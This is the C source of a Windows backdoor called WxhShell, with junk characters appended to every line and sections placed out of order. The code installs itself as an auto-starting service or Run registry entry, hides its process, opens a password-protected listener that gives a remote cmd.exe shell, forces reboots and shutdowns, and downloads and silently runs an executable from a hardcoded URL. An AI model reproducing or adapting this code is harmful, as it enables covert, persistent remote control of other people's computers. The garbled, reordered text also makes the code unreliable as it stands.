    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8E&}+DR?  
    if(Boot(SHUTDOWN)) o=_:g >5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T,@.RF  
    else { 68Vn]mr#  
    closesocket(wsh); }7RR",w  
    ExitThread(0); ~.u}v~ F  
    } T(MS,AyD]  
    break; Sav]Kxq{  
    } M")JbuI  
  // 获取shell @H= d8$  
  case 's': { AMG}'P:  
    CmdShell(wsh); ^I~2t|}  
    closesocket(wsh); |Up+Kc:z/n  
    ExitThread(0); 7"2L|fG  
    break; 8B JxD<  
  } 8V>j-C  
  // 退出 .mn`/4  
  case 'x': { NKvBNf|D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dFS>uIT7X  
    CloseIt(wsh); +(x^5~QX  
    break; O%H_._#N`  
    } l9lBhltOH  
  // 离开 1"?KQU  
  case 'q': { x9Fga_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g34<0%6jd  
    closesocket(wsh); klxVsx%I{G  
    WSACleanup(); f_}/JF  
    exit(1); nT..+ J)  
    break; 9W:oo:dK F  
        } _T&?H&#  
  } J0*hJ-/u  
  } iZ<^p1i  
<k<K"{  
  // 提示信息 KtchK pv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =dx!R ,Bw  
} _Db=I3.HJ  
  } CL.JalR`b  
K#rfQ0QK/!  
  return; OSQZ5:g|  
} 'iA#lKG  
GwQW I ]  
// shell模块句柄 k__iJsk  
int CmdShell(SOCKET sock) XAwo ~E  
{ oG M Ls  
STARTUPINFO si; 5XySF #  
ZeroMemory(&si,sizeof(si)); N+ZDQa[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lT#&\JQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k"\%x =#  
PROCESS_INFORMATION ProcessInfo; T$T:~8tK3  
char cmdline[]="cmd"; Aayh'xQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gKeqf-UWKJ  
  return 0; NdGIH/Y;M  
} p4C w#)BaS  
ZQXv-"  
// 自身启动模式 u?5 d%]*  
int StartFromService(void) R''nZ/R  
{ S-}MS"  
typedef struct fOJ 0#^Z  
{ <f.*=/]W2  
  DWORD ExitStatus; dU1w)Y  
  DWORD PebBaseAddress; n8UQIa4&=  
  DWORD AffinityMask; $R(?@B(  
  DWORD BasePriority; to,DN2rN  
  ULONG UniqueProcessId; ("Z;)s4q  
  ULONG InheritedFromUniqueProcessId; s0uI;WMg  
}   PROCESS_BASIC_INFORMATION; SF$7WG3Q  
>$S P2(Y~  
PROCNTQSIP NtQueryInformationProcess; x=T`i-M  
ma9q?H#X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ -"o5!0<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gNF8&T  
F1)B-wW  
  HANDLE             hProcess; vQ/}E@?u  
  PROCESS_BASIC_INFORMATION pbi; PLU8:H@X  
nlmc/1C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *vt5dxB  
  if(NULL == hInst ) return 0; B!-hcn]y  
}/&Q\Sc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =y -L'z&r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M4 SJnE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cw42bO  
7 K.&zn  
  if (!NtQueryInformationProcess) return 0; uMVM-(g%  
%|E'cdvkX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _Z?{&k  
  if(!hProcess) return 0; @)PA9P |  
6(awO2{BP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; **_`AM~  
D,q=?~  
  CloseHandle(hProcess); g?` g+:nug  
.w2QiJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Go~bQ2*'(/  
if(hProcess==NULL) return 0; BC*vG=a  
_nu,ks+  
HMODULE hMod; :MeshzWK  
char procName[255]; D FDC'E  
unsigned long cbNeeded; ^,u0kMG5l  
|T?wM/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sqTBlP  
,K9\;{C  
  CloseHandle(hProcess); 3D_Ky Z~M+  
,dT.q  
if(strstr(procName,"services")) return 1; // 以服务启动 io :g ]g  
QK _1!t3  
  return 0; // 注册表启动 0q'd }DW  
} L[l ?}\  
rMXIw  
// 主模块 'f&o%5]  
int StartWxhshell(LPSTR lpCmdLine) RrrW0<Ed  
{ r@N 0%JZZ  
  SOCKET wsl; j !^Tw.Ty  
BOOL val=TRUE; U |I>CDp  
  int port=0; S Y\ UuZ  
  struct sockaddr_in door; S<}2y9F  
].F7. zi  
  if(wscfg.ws_autoins) Install(); @_"B0$,-i  
1=BDqSZ@9  
port=atoi(lpCmdLine); Vp8t8X1`  
}s)MDq9  
if(port<=0) port=wscfg.ws_port; )"k>}&'  
~^d. zIN!  
  WSADATA data; UjibQl 3:m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 272j$T  
C yg e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m|q?gX9R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +./c=o/v  
  door.sin_family = AF_INET; XMhDx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y[%1?CREP  
  door.sin_port = htons(port); HScj  
] jbQou@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GMmz`O XN  
closesocket(wsl); g8^\|  
return 1; W>C!V  
} h(}$-'g  
dWHl<BUm  
  if(listen(wsl,2) == INVALID_SOCKET) { v|5:;,I  
closesocket(wsl); is=sV:j:  
return 1; n Q|4.e;  
} FR~YO|4?  
  Wxhshell(wsl); ?^Sk17G  
  WSACleanup(); ").MU[q%Y  
*M5 : \+  
return 0; NGYliP,.6  
u@|izRk  
} aE}1~`  
R=M"g|U6  
// 以NT服务方式启动 _XT],"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '[#a-8-JY_  
{ 6OYXcPW'  
DWORD   status = 0; #Mo`l/Cwp  
  DWORD   specificError = 0xfffffff; n8(B%KF  
[8*Ovd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cBf9-k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;t!n%SnK9!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,h21 h?6  
  serviceStatus.dwWin32ExitCode     = 0; ' Cy^G;  
  serviceStatus.dwServiceSpecificExitCode = 0; /lAB  
  serviceStatus.dwCheckPoint       = 0; ?pgdj|"a  
  serviceStatus.dwWaitHint       = 0; w:Ui_-4*>  
5,=Yi$x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TR!^wB<F  
  if (hServiceStatusHandle==0) return; <>aBmJs4  
5 e:Urv77  
status = GetLastError(); )6|7L)Dk  
  if (status!=NO_ERROR) `(A6uakd  
{ =PHl|^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X! 5N2x  
    serviceStatus.dwCheckPoint       = 0; b i^h&H  
    serviceStatus.dwWaitHint       = 0; _`lj 3Lm0>  
    serviceStatus.dwWin32ExitCode     = status; u2HkAPhD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ta#vD_QP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u#5/s8  
    return; FFXDt"i2  
  } .0]4@'  
wUzQ`h2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "%~\kJ(G  
  serviceStatus.dwCheckPoint       = 0; v+-f pl&  
  serviceStatus.dwWaitHint       = 0; U$a Eby.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SsA;T5:6  
} G yZYP\'S+  
x_1JQDE  
// 处理NT服务事件,比如:启动、停止 }*Qd]\fy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tq=1C=h  
{ dDH+`;$.  
switch(fdwControl) F\1nc"K/(  
{  f])?Gw  
case SERVICE_CONTROL_STOP: ".L+gn}u-  
  serviceStatus.dwWin32ExitCode = 0; 9fD4xkRS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )/k0*:OMyO  
  serviceStatus.dwCheckPoint   = 0; 0z?b5D;  
  serviceStatus.dwWaitHint     = 0; ^}; 4r  
  { 0?uX}8w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k5G(7Ug=g~  
  } .d`+#1Ot(  
  return; T=cSTS!P;q  
case SERVICE_CONTROL_PAUSE: Rf@D]+v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;SQ<^"eK  
  break; WujIaJt-  
case SERVICE_CONTROL_CONTINUE: }_XW?^/8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sh.xp8^)^>  
  break; :1u>T3L.z  
case SERVICE_CONTROL_INTERROGATE: ga#,42)H  
  break; tb,.f3;  
}; $w%oLI@kl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /^96|  
} !8&,GT  
a?'3  
// 标准应用程序主函数 ;ak3 @Uee  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xVoWGz7  
{ O$x-&pW`g  
8 o8FL~&]  
// 获取操作系统版本 m^ zx &  
OsIsNt=GetOsVer(); m}.ru)^p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hxr2Q]c?u  
/R#-mY  
  // 从命令行安装 }yqRz6=YB  
  if(strpbrk(lpCmdLine,"iI")) Install(); J#*Uf>5NY  
lEi,duS)  
  // 下载执行文件 oTtmn, T  
if(wscfg.ws_downexe) { vl$! To9R"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wm:3_C +j  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pb?H cg  
} mm$D1=h{|  
>`*iM  
if(!OsIsNt) { ^vm[`M  
// 如果时win9x,隐藏进程并且设置为注册表启动 cJA0$)JP&  
HideProc(); x( w <U1  
StartWxhshell(lpCmdLine); O%9Cq}*  
} 'R*gSqx~  
else /Nq!^=  
  if(StartFromService()) ~J2-B2S!  
  // 以服务方式启动 322W"qduTZ  
  StartServiceCtrlDispatcher(DispatchTable); Qv8#{y@U  
else T\c;Ra  
  // 普通方式启动 `.;7O27A^%  
  StartWxhshell(lpCmdLine); cb&y8!ci~  
t )Z2"_5  
return 0; ]SrKe-*:U  
} HY#7Ctn3  
->wY|7  
;]fpdu{  
hgj#VY$B  
=========================================== j>&n5?  
[2w3c4K  
5!#"8|oY  
el!Bi>b9c!  
w|WZEu:0|  
A`(p6 H"s  
" V$ 38  
*wt yyP@  
#include <stdio.h> /iif@5lw{  
#include <string.h> +Smv<^bW  
#include <windows.h> |}Mkn4  
#include <winsock2.h> >0 !J]gK  
#include <winsvc.h> 4\pA^%73  
#include <urlmon.h> d1e'!y}R5  
&o"Hb=k<  
#pragma comment (lib, "Ws2_32.lib") }=A6Jv(j  
#pragma comment (lib, "urlmon.lib") 7i{Rn K6*  
rQ}4\PTi  
#define MAX_USER   100 // 最大客户端连接数 qIjC-#a=m  
#define BUF_SOCK   200 // sock buffer PB>p"[ap4  
#define KEY_BUFF   255 // 输入 buffer W/oRt<:E  
N(vbo  
#define REBOOT     0   // 重启 OpxVy _5,  
#define SHUTDOWN   1   // 关机 yD1*^~loJ  
{\|? {8f  
#define DEF_PORT   5000 // 监听端口 u-UUF  
?^BsR  
#define REG_LEN     16   // 注册表键长度 i?=3RdP/R1  
#define SVC_LEN     80   // NT服务名长度 {DN c7G  
SNvK8,"g  
// 从dll定义API $pk3d+0B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O#O~A |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #a#~YSnG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "EEE09~l\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b]RCe^E1  
344,mnAd  
// wxhshell配置信息 h83ho  
struct WSCFG { D\({]oj]  
  int ws_port;         // 监听端口 >[|:cz  
  char ws_passstr[REG_LEN]; // 口令 #*S/Sh?Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no W}L =JJo},  
  char ws_regname[REG_LEN]; // 注册表键名 eE7 R d>  
  char ws_svcname[REG_LEN]; // 服务名 jLr8?Hyf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |D]jdd@!a2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q 4 Ye  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |<y[gj4`T/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KH pxWq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KXw \N!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 um ,/^2A  
w2{k0MW  
}; /2'\ya4B  
nr&G4t+%Hv  
// default Wxhshell configuration z*yN*M6t  
struct WSCFG wscfg={DEF_PORT, {h9#JMIA  
    "xuhuanlingzhe", );))kYr  
    1, zN5i}U=|r  
    "Wxhshell", e}[$ =  
    "Wxhshell", nt;A7pI`  
            "WxhShell Service", yE"hgdL  
    "Wrsky Windows CmdShell Service", )W57n)]  
    "Please Input Your Password: ", d1y(Jt  
  1, -HoPECe  
  "http://www.wrsky.com/wxhshell.exe", J=zZGd%  
  "Wxhshell.exe" GQF7]j/  
    }; (59<Zo  
yv3my aS  
// 消息定义模块 &)s A(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1pzU=!R?-O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D%^EG8i n.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \XRViG,|5  
char *msg_ws_ext="\n\rExit."; (|U+(~PJ  
char *msg_ws_end="\n\rQuit."; t9m`K9.\  
char *msg_ws_boot="\n\rReboot..."; s ^)W?3t]  
char *msg_ws_poff="\n\rShutdown..."; FNc[2sI  
char *msg_ws_down="\n\rSave to "; ZLL0 6p   
Nq*\{rb  
char *msg_ws_err="\n\rErr!"; qk_ s"}sS  
char *msg_ws_ok="\n\rOK!"; bO2$0!=I  
k9^P#l@p  
char ExeFile[MAX_PATH]; $%1[<}<  
int nUser = 0; Q8:u1$}  
HANDLE handles[MAX_USER]; U +mx@C_  
int OsIsNt; ' J-(v  
_|A)ueY  
SERVICE_STATUS       serviceStatus; Z]SCIU @+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nm,v E7M  
<[~x]-  
// 函数声明 3N]pN<3@  
int Install(void); #mllVQ  
int Uninstall(void); vjXvjv{t  
int DownloadFile(char *sURL, SOCKET wsh); ir]uFOj  
int Boot(int flag); PFPfLxna  
void HideProc(void); 1Eg}qU,:  
int GetOsVer(void); ~Zj?%4  
int Wxhshell(SOCKET wsl); a[(n91J0  
void TalkWithClient(void *cs); i(c2NPbX  
int CmdShell(SOCKET sock); Q;aZpi-E"  
int StartFromService(void); E#HO0 ]S  
int StartWxhshell(LPSTR lpCmdLine); u|QfCwQ  
6eS#L21*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :=i0$k<E/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /au\OBUge  
L3<XWpv  
// 数据结构和表定义 hlUF9}  
SERVICE_TABLE_ENTRY DispatchTable[] = Nju7!yVM_  
{ W1: o2 C7  
{wscfg.ws_svcname, NTServiceMain}, CS"p[-0  
{NULL, NULL} &UzZE17R  
}; {g @ *jo&  
@'}X&TN<a  
// 自我安装 -TD6s:'  
int Install(void) Kjf#uU.7  
{ "\>3mVOb  
  char svExeFile[MAX_PATH]; nmSpNkJ5  
  HKEY key; }VFSF/\^  
  strcpy(svExeFile,ExeFile); c89RuI `B~  
5mFi)0={y  
// 如果是win9x系统,修改注册表设为自启动 :_e.ch:4  
if(!OsIsNt) { g` h>:5]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MI@ RdXkY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zM@iG]?kc  
  RegCloseKey(key); 2<988F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *50Ykf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aga7X@fV(  
  RegCloseKey(key); R#T6I i  
  return 0; RuXK` y Sv  
    } Pu9.Uwx  
  } T.(SBP  
} xE)pj|  
else { G4RsH/  
Ko%rB+d  
// 如果是NT以上系统,安装为系统服务 o&CvjE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wc]Fg9E  
if (schSCManager!=0) {;-$;\D  
{ RMvlA' c  
  SC_HANDLE schService = CreateService 1:&$0jU&U  
  ( u5,IH2BU  
  schSCManager, ZR#UoYjupb  
  wscfg.ws_svcname, PkVXn  
  wscfg.ws_svcdisp, GB !3Z  
  SERVICE_ALL_ACCESS, EAq >v t83  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1gt[_P2u  
  SERVICE_AUTO_START, &c\8` # 6  
  SERVICE_ERROR_NORMAL, {==Q6BG*  
  svExeFile, de`6%%|  
  NULL, ZO;]Zt]  
  NULL, Awr]@%I  
  NULL, }>OE"#si  
  NULL, Hv`Zc*  
  NULL '8Gw{&&  
  ); R -h7c!ko  
  if (schService!=0) H~$|y9>qI  
  { #`W8-w  
  CloseServiceHandle(schService); 4 B> l|%  
  CloseServiceHandle(schSCManager); /z'j:~`E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PAc~p8S  
  strcat(svExeFile,wscfg.ws_svcname); MRC5c:(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -!}1{   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1u` Z?S(  
  RegCloseKey(key); % idnm  
  return 0; @ =,J6  
    } ZHF@k'vm/9  
  } DMf9wB  
  CloseServiceHandle(schSCManager); P;y/`_jo  
} A%2!Hr  
} jG^~{7#  
ze ua`jQ  
return 1; 3n/L; T,X  
} g_x<+3a  
'+eP%Y[W%  
// 自我卸载 h]=chz  
int Uninstall(void) )l"0:1Ig  
{ L*l( ~t)vF  
  HKEY key; `C()H@;  
gTq-\k(  
if(!OsIsNt) { +amvQ];?Q8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NKGCz|- 9  
  RegDeleteValue(key,wscfg.ws_regname); tT v@8f  
  RegCloseKey(key); @V-ZV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F-R`'{ ka  
  RegDeleteValue(key,wscfg.ws_regname); c49#aN R  
  RegCloseKey(key);  AH} nTm  
  return 0; #zQkQvAT9  
  } rvG qUmSUs  
} cK258mY  
} NMDNls&)k  
else { t #AQD]h  
Iq5F^rH`[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U-k;kmaj  
if (schSCManager!=0) |'J3"am'  
{ i3~!ofTb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iIT<{m&`  
  if (schService!=0) "2h#i nS  
  { lfKknp#B/O  
  if(DeleteService(schService)!=0) { ZHBwoC#5}  
  CloseServiceHandle(schService); jab]!eY  
  CloseServiceHandle(schSCManager); X-duG*~  
  return 0; H{V-C_  
  } z6!X+`&  
  CloseServiceHandle(schService); 'l}3Iua6qk  
  } vIREvj#U  
  CloseServiceHandle(schSCManager); m=K XMX  
} 5bAXa2Vt  
} WDX?|q9rCt  
#[si.rv->  
return 1; H z6H,h  
} q[#\qT&QU  
j NY8)w_  
// 从指定url下载文件 ]@f6O *&=  
int DownloadFile(char *sURL, SOCKET wsh) i" )_M|   
{ l?~ci ;lG  
  HRESULT hr; mSzwx/3"  
char seps[]= "/"; w iq{ Jo#  
char *token; }iC~B}  
char *file; AVJk  
char myURL[MAX_PATH]; tL5Xfd?u  
char myFILE[MAX_PATH]; GGBe/X  
a~%ej.)l  
strcpy(myURL,sURL); _c&*'IY[V  
  token=strtok(myURL,seps); ^Y&Cm.w  
  while(token!=NULL) ^d"J2n,7L  
  { Q(sbClp"  
    file=token; ;L[9[uQ[C  
  token=strtok(NULL,seps);  Ntqc=z  
  } i-<=nD&?t  
A`r9"([-A  
GetCurrentDirectory(MAX_PATH,myFILE); Ao\Vh\rQkq  
strcat(myFILE, "\\"); 8x{vgx @M  
strcat(myFILE, file); ^DH*@M  
  send(wsh,myFILE,strlen(myFILE),0); 9,Mp/.T"\  
send(wsh,"...",3,0); k@~-|\ooG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MJb = +L  
  if(hr==S_OK) 5bw]cv$i  
return 0; T/K.'92S  
else $i1A470C  
return 1; <H p"ZCN  
fH.W kAE1  
} miKi$jC}vq  
d5%*^nMpY  
// 系统电源模块 1^;h:,e6  
int Boot(int flag) rEf\|x=st:  
{ M;9+L&p=  
  HANDLE hToken; =6dKC_Q  
  TOKEN_PRIVILEGES tkp; xsvs3y|  
7L]?)2=  
  if(OsIsNt) { $7r wara  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `SW " RLS3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2mO#vTX4  
    tkp.PrivilegeCount = 1; mx[^LaR>v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o`U\Nhq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VB#31T#q?  
if(flag==REBOOT) { ? 1{S_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +E:(-$"R  
  return 0; =, 0a3D6b  
} nsp K.*?  
else { s`J=:>9*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ob7_dWAG  
  return 0; >(rB[ZJ  
} iK]g3ew|  
  } {XXNl)%  
  else { "k|`xn  
if(flag==REBOOT) { Ltw7b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 48Lmy<}*  
  return 0; `.W;ptZ6  
} #<PdZl R  
else { ])L'Rk#4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %`1vIr(7  
  return 0; 2S6EDXc  
} Q/n.T0Z ^  
} KaE;4gwM  
/&d`c=nH  
return 1; KL  mB  
} -C}59G8  
BmFME0  
// win9x进程隐藏模块 _ICDtG^  
void HideProc(void) j~H`*R=ld#  
{ `_A?a_[*  
PJ@,01  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *UoHzaIqz  
  if ( hKernel != NULL ) "T%'Rp`j|  
  { p.] .M"A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AV4HX\`{P0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cu^*x/0,  
    FreeLibrary(hKernel); TY\"@(Q|G  
  } <57l|}8  
/VO@>Hoh  
return; _0q~s@-  
} TQd FC\@f"  
Q|KD/s??  
// 获取操作系统版本 &] F|U3  
int GetOsVer(void) ><MgIV  
{  Gy6 qLM  
  OSVERSIONINFO winfo; zZc@;S#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qz(T[H5%W  
  GetVersionEx(&winfo); qetP93N_*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yO;C3q  
  return 1; ENWB|@B  
  else wV&f|JO0+  
  return 0; doO Ap9%  
} ]MLLr'6?  
y6Epi|8  
// 客户端句柄模块 {dx /p-Tv  
int Wxhshell(SOCKET wsl) m'(;uR`  
{ KBRg95E~]l  
  SOCKET wsh; ;3}EB cw)  
  struct sockaddr_in client; *\:_o5o%[T  
  DWORD myID; eQVPxt2N  
d3G{0PX  
  while(nUser<MAX_USER) "E|r3cN  
{ Ru^ ONw"  
  int nSize=sizeof(client); 1R%`i '$/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W}2 &Pax  
  if(wsh==INVALID_SOCKET) return 1; L sDzV)  
)g:,_1s)|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EhPVK6@  
if(handles[nUser]==0) .hlQ?\  
  closesocket(wsh); Qy^z*s  
else )cK  tc  
  nUser++; px }7If  
  } U?F^D4CV\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hY= s9\  
JM-ce8U  
  return 0; oUvk2]H  
} <%>n@A  
tkN3BQ  
// 关闭 socket T$^>Fiz{Se  
void CloseIt(SOCKET wsh) $#7J\=GZ+  
{ PWk ?8dL-  
closesocket(wsh); ]6B mCh  
nUser--; *Qg5Z   
ExitThread(0); ZE8/ m")  
} &[ u6oAR  
X`3vSCn  
// 客户端请求句柄 B>|U-[A  
void TalkWithClient(void *cs) 8gbm"!  
{ t&9as}  
'y6!%k*  
  SOCKET wsh=(SOCKET)cs; {y&\?'L'  
  char pwd[SVC_LEN]; a()6bRc~T  
  char cmd[KEY_BUFF]; BgkB x  
char chr[1]; {Bq"$M!Y  
int i,j; Oh/b?|imG  
:q>oD-b$}  
  while (nUser < MAX_USER) { ikY]8BCc  
iRUR4Zs  
if(wscfg.ws_passstr) { 5hJYy`h~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @4_rxu&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '9 *|N=  
  //ZeroMemory(pwd,KEY_BUFF); &:DCtjK  
      i=0; y*}vG}e%  
  while(i<SVC_LEN) { DN"S,  
&,N3uy;Gc  
  // 设置超时 (~G5t(+  
  fd_set FdRead; Gf H*,1x  
  struct timeval TimeOut; 3|K=%jr[  
  FD_ZERO(&FdRead); Q"_T2fl]vP  
  FD_SET(wsh,&FdRead); QtnM(m  
  TimeOut.tv_sec=8; Db#W/8 a8k  
  TimeOut.tv_usec=0; fVH*dX'Jz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }$Hs;4|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \[[TlB>  
d=t}T6.|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sb}K%-  
  pwd=chr[0]; (ET ;LH3  
  if(chr[0]==0xd || chr[0]==0xa) { P /c Q1  
  pwd=0; >[|GC/C  
  break; s%N`  
  } :F^$"~(,  
  i++; ~KAp\!,  
    } Y ]~ HAv '  
]27>a"p59Y  
  // 如果是非法用户,关闭 socket @ ],6SKbG6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :BL'>V   
} I|KY+k> /  
8h&oSOkQk,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Di ^6UK(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fiE>H~  
G2CZwm{/f  
while(1) { `1fJ:b/M  
{PODisl>\D  
  ZeroMemory(cmd,KEY_BUFF); W;Ud<7<;Z  
j-lSFTo  
      // 自动支持客户端 telnet标准   &'5@azU  
  j=0; t} *l?$`  
  while(j<KEY_BUFF) { q_<*esZ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +36H%&!  
  cmd[j]=chr[0]; MkG`w,  
  if(chr[0]==0xa || chr[0]==0xd) { v8=?HUDd  
  cmd[j]=0; {{V ;:+62  
  break; });cX$  
  } .cg=  
  j++; r5MxjuOB1  
    } E-UB -"6  
jlu`lG*e&  
  // 下载文件 (NH8AS<  
  if(strstr(cmd,"http://")) { @-'/__cgt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5^/,aI  
  if(DownloadFile(cmd,wsh)) E4sn[DO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)9 AnGWe  
  else "/ tUA\=j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "gXxRHTX  
  } *QbM*oH  
  else { J+ Jt4  
